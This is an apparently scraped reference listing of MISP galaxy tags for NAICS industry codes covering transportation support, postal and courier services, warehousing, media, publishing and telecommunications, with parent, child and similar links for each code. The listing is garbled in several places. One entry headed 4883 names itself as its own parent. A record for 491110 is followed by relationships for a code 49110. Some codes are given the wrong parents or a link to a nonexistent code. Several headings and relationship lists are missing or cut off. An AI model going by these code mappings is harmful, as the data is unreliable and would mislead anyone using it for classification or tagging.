View relationships graph
488111 has relationships with:
{  
  • child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
}

488119
Other Airport Operations
The tag is: misp-galaxy:naics="488119"
View relationships graph
488119 has relationships with:
{  
  • child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
}

48819
Other Support Activities for Air Transportation
The tag is: misp-galaxy:naics="48819"
View relationships graph
48819 has relationships with:
{  
  • child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="488190" with estimative-language:likelihood-probability="likely"
}
488190

Other Support Activities for Air Transportation

The tag is: misp-galaxy:naics="488190"

View relationships graph

488190 has relationships with:

- child-of: misp-galaxy:naics="4881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48819" with estimative-language:likelihood-probability="likely"

4882

Support Activities for Rail Transportation

The tag is: misp-galaxy:naics="4882"

View relationships graph

4882 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48821" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488210" with estimative-language:likelihood-probability="likely"

48821

Support Activities for Rail Transportation

The tag is: misp-galaxy:naics="48821"

View relationships graph

48821 has relationships with:

- child-of: misp-galaxy:naics="4882" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488210" with estimative-language:likelihood-probability="likely"

488210

Support Activities for Rail Transportation

The tag is: misp-galaxy:naics="488210"

View relationships graph
488210 has relationships with:

- child-of: misp-galaxy:naics="4882" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48821" with estimative-language:likelihood-probability="likely"

4883

Support Activities for Water Transportation

The tag is: misp-galaxy:naics="4883"

View relationships graph

4883 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48831" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48833" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="48839" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="488390" with estimative-language:likelihood-probability="likely"

48831

Port and Harbor Operations

The tag is: misp-galaxy:naics="48831"

View relationships graph

48831 has relationships with:

- child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488310" with estimative-language:likelihood-probability="likely"

488310

Port and Harbor Operations

The tag is: misp-galaxy:naics="488310"

View relationships graph
488310 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48831" with estimative-language:likelihood-probability="likely"

**4883**

Marine Cargo Handling

The tag is: misp-galaxy:naics="4883"

View relationships graph

4883 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488320" with estimative-language:likelihood-probability="likely"

**488320**

Marine Cargo Handling

The tag is: misp-galaxy:naics="488320"

View relationships graph

488320 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="48832" with estimative-language:likelihood-probability="likely"

**48833**

Navigational Services to Shipping

The tag is: misp-galaxy:naics="48833"

View relationships graph

48833 has relationships with:

- child-of: misp-galaxy:naics="4883" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="488330" with estimative-language:likelihood-probability="likely"

**488330**

Navigational Services to Shipping
The tag is: `misp-galaxy:naics="488330"`

View relationships graph

488330 has relationships with:

- child-of: `misp-galaxy:naics="4883"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="48833"` with estimative-language:likelihood-probability="likely"

48839

Other Support Activities for Water Transportation

The tag is: `misp-galaxy:naics="48839"`

View relationships graph

48839 has relationships with:

- child-of: `misp-galaxy:naics="4883"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="488390"` with estimative-language:likelihood-probability="likely"

488390

Other Support Activities for Water Transportation

The tag is: `misp-galaxy:naics="488390"`

View relationships graph

488390 has relationships with:

- child-of: `misp-galaxy:naics="4883"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="48839"` with estimative-language:likelihood-probability="likely"

4884

Support Activities for Road Transportation

The tag is: `misp-galaxy:naics="4884"`

View relationships graph

4884 has relationships with:

- child-of: `misp-galaxy:naics="488"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="48841"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="488410"` with estimative-language:likelihood-probability="likely"
48841

Motor Vehicle Towing

The tag is: `misp-galaxy:naics="48841"`

View relationships graph

48841 has relationships with:

- child-of: `misp-galaxy:naics="4884"`
- similar: `misp-galaxy:naics="488410"`

488410

Motor Vehicle Towing

The tag is: `misp-galaxy:naics="488410"`

View relationships graph

488410 has relationships with:

- child-of: `misp-galaxy:naics="4884"`
- similar: `misp-galaxy:naics="48841"`

48849

Other Support Activities for Road Transportation

The tag is: `misp-galaxy:naics="48849"`

View relationships graph

48849 has relationships with:

- child-of: `misp-galaxy:naics="4884"`
- similar: `misp-galaxy:naics="488490"`

488490

Other Support Activities for Road Transportation

The tag is: `misp-galaxy:naics="488490"`
View relationships graph

488490 has relationships with:

• child-of: misp-galaxy:naics="4884" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="48849" with estimative-language:likelihood-probability="likely"

4885
Freight Transportation Arrangement
The tag is: misp-galaxy:naics="4885"

View relationships graph

4885 has relationships with:

• child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48851" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="488510" with estimative-language:likelihood-probability="likely"

48851
Freight Transportation Arrangement
The tag is: misp-galaxy:naics="48851"

View relationships graph

48851 has relationships with:

• child-of: misp-galaxy:naics="4885" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="488510" with estimative-language:likelihood-probability="likely"

488510
Freight Transportation Arrangement
The tag is: misp-galaxy:naics="488510"

View relationships graph

488510 has relationships with:

• child-of: misp-galaxy:naics="4885" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="48851" with estimative-language:likelihood-probability="likely"
4889
Other Support Activities for Transportation
The tag is: misp-galaxy:naics="4889"

View relationships graph

4889 has relationships with:

• child-of: misp-galaxy:naics="488" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="48899" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="488991" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="488999" with estimative-language:likelihood-probability="likely"

48899
Other Support Activities for Transportation
The tag is: misp-galaxy:naics="48899"

View relationships graph

48899 has relationships with:

• child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

488991
Packing and Crating
The tag is: misp-galaxy:naics="488991"

View relationships graph

488991 has relationships with:

• child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

488999
All Other Support Activities for Transportation
The tag is: misp-galaxy:naics="488999"

View relationships graph

488999 has relationships with:
• child-of: misp-galaxy:naics="4889" with estimative-language:likelihood-probability="likely"

491
Postal Service
The tag is: misp-galaxy:naics="491"

View relationships graph

491 has relationships with:
• parent-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"

4911
Postal Service
The tag is: misp-galaxy:naics="4911"

View relationships graph

4911 has relationships with:
• child-of: misp-galaxy:naics="491" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="49111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="491110" with estimative-language:likelihood-probability="likely"

49111
Postal Service
The tag is: misp-galaxy:naics="49111"

View relationships graph

49111 has relationships with:
• child-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="491110" with estimative-language:likelihood-probability="likely"

491110
Postal Service
The tag is: misp-galaxy:naics="491110"

View relationships graph
49110 has relationships with:

- child-of: misp-galaxy:naics="4911" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49111" with estimative-language:likelihood-probability="likely"

492

Couriers and Messengers

The tag is: misp-galaxy:naics="492"

View relationships graph

492 has relationships with:

- parent-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"

4921

Couriers and Express Delivery Services

The tag is: misp-galaxy:naics="4921"

View relationships graph

4921 has relationships with:

- child-of: misp-galaxy:naics="492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="492110" with estimative-language:likelihood-probability="likely"

49211

Couriers and Express Delivery Services

The tag is: misp-galaxy:naics="49211"

View relationships graph

49211 has relationships with:

- child-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="492110" with estimative-language:likelihood-probability="likely"
492110
Couriers and Express Delivery Services
The tag is: misp-galaxy:naics="492110"
View relationships graph
492110 has relationships with:
• child-of: misp-galaxy:naics="4921" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="49211" with estimative-language:likelihood-probability="likely"

4922
Local Messengers and Local Delivery
The tag is: misp-galaxy:naics="4922"
View relationships graph
4922 has relationships with:
• child-of: misp-galaxy:naics="492" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="49221" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="492210" with estimative-language:likelihood-probability="likely"

49221
Local Messengers and Local Delivery
The tag is: misp-galaxy:naics="49221"
View relationships graph
49221 has relationships with:
• child-of: misp-galaxy:naics="4922" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="492210" with estimative-language:likelihood-probability="likely"

492210
Local Messengers and Local Delivery
The tag is: misp-galaxy:naics="492210"
View relationships graph
492210 has relationships with:

- child-of: misp-galaxy:naics="4922" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49221" with estimative-language:likelihood-probability="likely"

493

Warehousing and Storage

The tag is: misp-galaxy:naics="493"

View relationships graph

493 has relationships with:

- parent-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"

4931

Warehousing and Storage

The tag is: misp-galaxy:naics="4931"

View relationships graph

4931 has relationships with:

- child-of: misp-galaxy:naics="493" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="49319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="493190" with estimative-language:likelihood-probability="likely"

49311

General Warehousing and Storage

The tag is: misp-galaxy:naics="49311"

View relationships graph

49311 has relationships with:
General Warehousing and Storage

The tag is: misp-galaxy:naics="493110"

View relationships graph

493110 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49311" with estimative-language:likelihood-probability="likely"

Refrigerated Warehousing and Storage

The tag is: misp-galaxy:naics="49312"

View relationships graph

49312 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493120" with estimative-language:likelihood-probability="likely"

Refrigerated Warehousing and Storage

The tag is: misp-galaxy:naics="493120"

View relationships graph

493120 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49312" with estimative-language:likelihood-probability="likely"

Farm Product Warehousing and Storage

The tag is: misp-galaxy:naics="49313"
View relationships graph

49313 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493130" with estimative-language:likelihood-probability="likely"

493130
Farm Product Warehousing and Storage

The tag is: misp-galaxy:naics="493130"

View relationships graph

493130 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49313" with estimative-language:likelihood-probability="likely"

49319
Other Warehousing and Storage

The tag is: misp-galaxy:naics="49319"

View relationships graph

49319 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="493190" with estimative-language:likelihood-probability="likely"

493190
Other Warehousing and Storage

The tag is: misp-galaxy:naics="493190"

View relationships graph

493190 has relationships with:

- child-of: misp-galaxy:naics="4931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="49319" with estimative-language:likelihood-probability="likely"
51

Information

The tag is: misp-galaxy:naics="51"

View relationships graph

51 has relationships with:

- parent-of: misp-galaxy:naics="512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="519" with estimative-language:likelihood-probability="likely"

512

Motion Picture and Sound Recording Industries

The tag is: misp-galaxy:naics="512"

View relationships graph

512 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"

5121

Motion Picture and Video Industries

The tag is: misp-galaxy:naics="5121"

View relationships graph

5121 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="512110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51212" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512120" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51213" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512131" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512132" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51219" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512191" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512199" with estimative-language:likelihood-probability="likely"

51211

Motion Picture and Video Production

The tag is: misp-galaxy:naics="51211"

View relationships graph

51211 has relationships with:

• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="512110" with estimative-language:likelihood-probability="likely"

512110

Motion Picture and Video Production

The tag is: misp-galaxy:naics="512110"

View relationships graph

512110 has relationships with:

• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51211" with estimative-language:likelihood-probability="likely"

51212

Motion Picture and Video Distribution

The tag is: misp-galaxy:naics="51212"

View relationships graph

51212 has relationships with:

• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="512120" with estimative-language:likelihood-probability="likely"
512120
Motion Picture and Video Distribution
The tag is: misp-galaxy:naics="512120"
View relationships graph
512120 has relationships with:
• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51212" with estimative-language:likelihood-probability="likely"

51213
Motion Picture and Video Exhibition
The tag is: misp-galaxy:naics="51213"
View relationships graph
51213 has relationships with:
• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512131
Motion Picture Theaters (except Drive-Ins)
The tag is: misp-galaxy:naics="512131"
View relationships graph
512131 has relationships with:
• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512132
Drive-In Motion Picture Theaters
The tag is: misp-galaxy:naics="512132"
View relationships graph
512132 has relationships with:
• child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
51219
Postproduction Services and Other Motion Picture and Video Industries
The tag is: misp-galaxy:naics="51219"
View relationships graph
51219 has relationships with:
  • child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512191
Teleproduction and Other Postproduction Services
The tag is: misp-galaxy:naics="512191"
View relationships graph
512191 has relationships with:
  • child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

512199
Other Motion Picture and Video Industries
The tag is: misp-galaxy:naics="512199"
View relationships graph
512199 has relationships with:
  • child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"

5122
Sound Recording Industries
The tag is: misp-galaxy:naics="5122"
View relationships graph
5122 has relationships with:
  • child-of: misp-galaxy:naics="5121" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="51223" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="512230" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51224" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512240" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51225" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512250" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51229" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="512290" with estimative-language:likelihood-probability="likely"

51223
Music Publishers

The tag is: misp-galaxy:naics="51223"

View relationships graph

51223 has relationships with:

• child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="512230" with estimative-language:likelihood-probability="likely"

512230
Music Publishers

The tag is: misp-galaxy:naics="512230"

View relationships graph

512230 has relationships with:

• child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51223" with estimative-language:likelihood-probability="likely"

51224
Sound Recording Studios

The tag is: misp-galaxy:naics="51224"

View relationships graph

51224 has relationships with:

• child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="512240" with estimative-language:likelihood-probability="likely"
512240
Sound Recording Studios
The tag is: misp-galaxy:naics="512240"
View relationships graph
512240 has relationships with:
  • child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51224" with estimative-language:likelihood-probability="likely"

51225
Record Production and Distribution
The tag is: misp-galaxy:naics="51225"
View relationships graph
51225 has relationships with:
  • child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="512250" with estimative-language:likelihood-probability="likely"

512250
Record Production and Distribution
The tag is: misp-galaxy:naics="512250"
View relationships graph
512250 has relationships with:
  • child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51225" with estimative-language:likelihood-probability="likely"

51229
Other Sound Recording Industries
The tag is: misp-galaxy:naics="51229"
View relationships graph
51229 has relationships with:
• child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="512290" with estimative-language:likelihood-probability="likely"

512290

Other Sound Recording Industries

The tag is: misp-galaxy:naics="512290"

View relationships graph

512290 has relationships with:

• child-of: misp-galaxy:naics="5122" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="51229" with estimative-language:likelihood-probability="likely"

513

Publishing Industries

The tag is: misp-galaxy:naics="513"

View relationships graph

513 has relationships with:

• child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="5132" with estimative-language:likelihood-probability="likely"

5131

Newspaper, Periodical, Book, and Directory Publishers

The tag is: misp-galaxy:naics="5131"

View relationships graph

5131 has relationships with:

• child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="513110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51312" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="513120" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51313" with estimative-language:likelihood-probability="likely"
51311
Newspaper Publishers
The tag is: misp-galaxy:naics="51311"
View relationships graph
51311 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="513110" with estimative-language:likelihood-probability="likely"

513110
Newspaper Publishers
The tag is: misp-galaxy:naics="513110"
View relationships graph
513110 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51311" with estimative-language:likelihood-probability="likely"

51312
Periodical Publishers
The tag is: misp-galaxy:naics="51312"
View relationships graph
51312 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="513120" with estimative-language:likelihood-probability="likely"
513120
Periodical Publishers
The tag is: misp-galaxy:naics="513120"

View relationships graph
513120 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51312" with estimative-language:likelihood-probability="likely"

51313
Book Publishers
The tag is: misp-galaxy:naics="51313"

View relationships graph
51313 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="513130" with estimative-language:likelihood-probability="likely"

513130
Book Publishers
The tag is: misp-galaxy:naics="513130"

View relationships graph
513130 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51313" with estimative-language:likelihood-probability="likely"

51314
Directory and Mailing List Publishers
The tag is: misp-galaxy:naics="51314"

View relationships graph
51314 has relationships with:
513140
Directory and Mailing List Publishers
The tag is: misp-galaxy:naics="513140"
View relationships graph
513140 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51314" with estimative-language:likelihood-probability="likely"

51319
Other Publishers
The tag is: misp-galaxy:naics="51319"
View relationships graph
51319 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"

513191
Greeting Card Publishers
The tag is: misp-galaxy:naics="513191"
View relationships graph
513191 has relationships with:
  • child-of: misp-galaxy:naics="5131" with estimative-language:likelihood-probability="likely"

513199
All Other Publishers
The tag is: misp-galaxy:naics="513199"
View relationships graph
513199 has relationships with:
5132
Software Publishers
The tag is: misp-galaxy:naics="5132"
View relationships graph
5132 has relationships with:
  • child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="51321" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="513210" with estimative-language:likelihood-probability="likely"

51321
Software Publishers
The tag is: misp-galaxy:naics="51321"
View relationships graph
51321 has relationships with:
  • child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="513210" with estimative-language:likelihood-probability="likely"

513210
Software Publishers
The tag is: misp-galaxy:naics="513210"
View relationships graph
513210 has relationships with:
  • child-of: misp-galaxy:naics="513" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51321" with estimative-language:likelihood-probability="likely"

516
Broadcasting and Content Providers
The tag is: misp-galaxy:naics="516"
516 has relationships with:

- child-of: misp-galaxy:naics="51" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="5162" with estimative-language:likelihood-probability="likely"

5161

Radio and Television Broadcasting Stations

The tag is: misp-galaxy:naics="5161"

5161 has relationships with:

- child-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51610" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="516120" with estimative-language:likelihood-probability="likely"

51611

Radio Broadcasting Stations

The tag is: misp-galaxy:naics="51611"

51611 has relationships with:

- child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="51610" with estimative-language:likelihood-probability="likely"

516110

Radio Broadcasting Stations

The tag is: misp-galaxy:naics="516110"

516110 has relationships with:
51612
Television Broadcasting Stations
The tag is: misp-galaxy:naics="51612"
View relationships graph
51612 has relationships with:
  • child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51611" with estimative-language:likelihood-probability="likely"

516120
Television Broadcasting Stations
The tag is: misp-galaxy:naics="516120"
View relationships graph
516120 has relationships with:
  • child-of: misp-galaxy:naics="5161" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51612" with estimative-language:likelihood-probability="likely"

5162
Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content Providers
The tag is: misp-galaxy:naics="5162"
View relationships graph
5162 has relationships with:
  • child-of: misp-galaxy:naics="516" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="51621" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="516210" with estimative-language:likelihood-probability="likely"

51621
Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content Providers
Providers

The tag is: *misp-galaxy:naics=*51621*

View relationships graph

51621 has relationships with:

- child-of: *misp-galaxy:naics=*5162* with *estimative-language:likelihood-probability=*likely
- similar: *misp-galaxy:naics=*516210* with *estimative-language:likelihood-probability=*likely

**516210**

Media Streaming Distribution Services, Social Networks, and Other Media Networks and Content Providers

The tag is: *misp-galaxy:naics=*516210*

View relationships graph

516210 has relationships with:

- child-of: *misp-galaxy:naics=*5162* with *estimative-language:likelihood-probability=*likely
- similar: *misp-galaxy:naics=*51621* with *estimative-language:likelihood-probability=*likely

**517**

Telecommunications

The tag is: *misp-galaxy:naics=*517*

View relationships graph

517 has relationships with:

- child-of: *misp-galaxy:naics=*51* with *estimative-language:likelihood-probability=*likely
- parent-of: *misp-galaxy:naics=*5171* with *estimative-language:likelihood-probability=*likely
- parent-of: *misp-galaxy:naics=*5174* with *estimative-language:likelihood-probability=*likely
- parent-of: *misp-galaxy:naics=*5178* with *estimative-language:likelihood-probability=*likely

**5171**

Wired and Wireless Telecommunications (except Satellite)

The tag is: *misp-galaxy:naics=*5171*

View relationships graph
5171 has relationships with:

- child-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="51712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="517122" with estimative-language:likelihood-probability="likely"

**51711**

Wired and Wireless Telecommunications Carriers (except Satellite)

The tag is: *misp-galaxy:naics="51711"*

View relationships graph

51711 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

**517111**

Wired Telecommunications Carriers

The tag is: *misp-galaxy:naics="517111"*

View relationships graph

517111 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

**517112**

Wireless Telecommunications Carriers (except Satellite)

The tag is: *misp-galaxy:naics="517112"*

View relationships graph

517112 has relationships with:

- child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"
51712
Telecommunications Resellers and Agents for Wireless Telecommunication Services
The tag is: misp-galaxy:naics="51712"
View relationships graph
51712 has relationships with:
• child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517121
Telecommunications Resellers
The tag is: misp-galaxy:naics="517121"
View relationships graph
517121 has relationships with:
• child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

517122
Agents for Wireless Telecommunications Services
The tag is: misp-galaxy:naics="517122"
View relationships graph
517122 has relationships with:
• child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"

5174
Satellite Telecommunications
The tag is: misp-galaxy:naics="5174"
View relationships graph
5174 has relationships with:
• child-of: misp-galaxy:naics="5171" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="51741" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="517410" with estimative-language:likelihood-probability="likely"
51741
Satellite Telecommunications
The tag is: misp-galaxy:naics="51741"
View relationships graph
51741 has relationships with:
  • child-of: misp-galaxy:naics="5174" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="517410" with estimative-language:likelihood-probability="likely"

517410
Satellite Telecommunications
The tag is: misp-galaxy:naics="517410"
View relationships graph
517410 has relationships with:
  • child-of: misp-galaxy:naics="5174" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="51741" with estimative-language:likelihood-probability="likely"

5178
All Other Telecommunications
The tag is: misp-galaxy:naics="5178"
View relationships graph
5178 has relationships with:
  • child-of: misp-galaxy:naics="517" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="51781" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="517810" with estimative-language:likelihood-probability="likely"

51781
All Other Telecommunications
The tag is: misp-galaxy:naics="51781"
View relationships graph
51781 has relationships with:

- child-of: misp-galaxy:naics="5178" with estimative-language:likelihood-probability="likely"
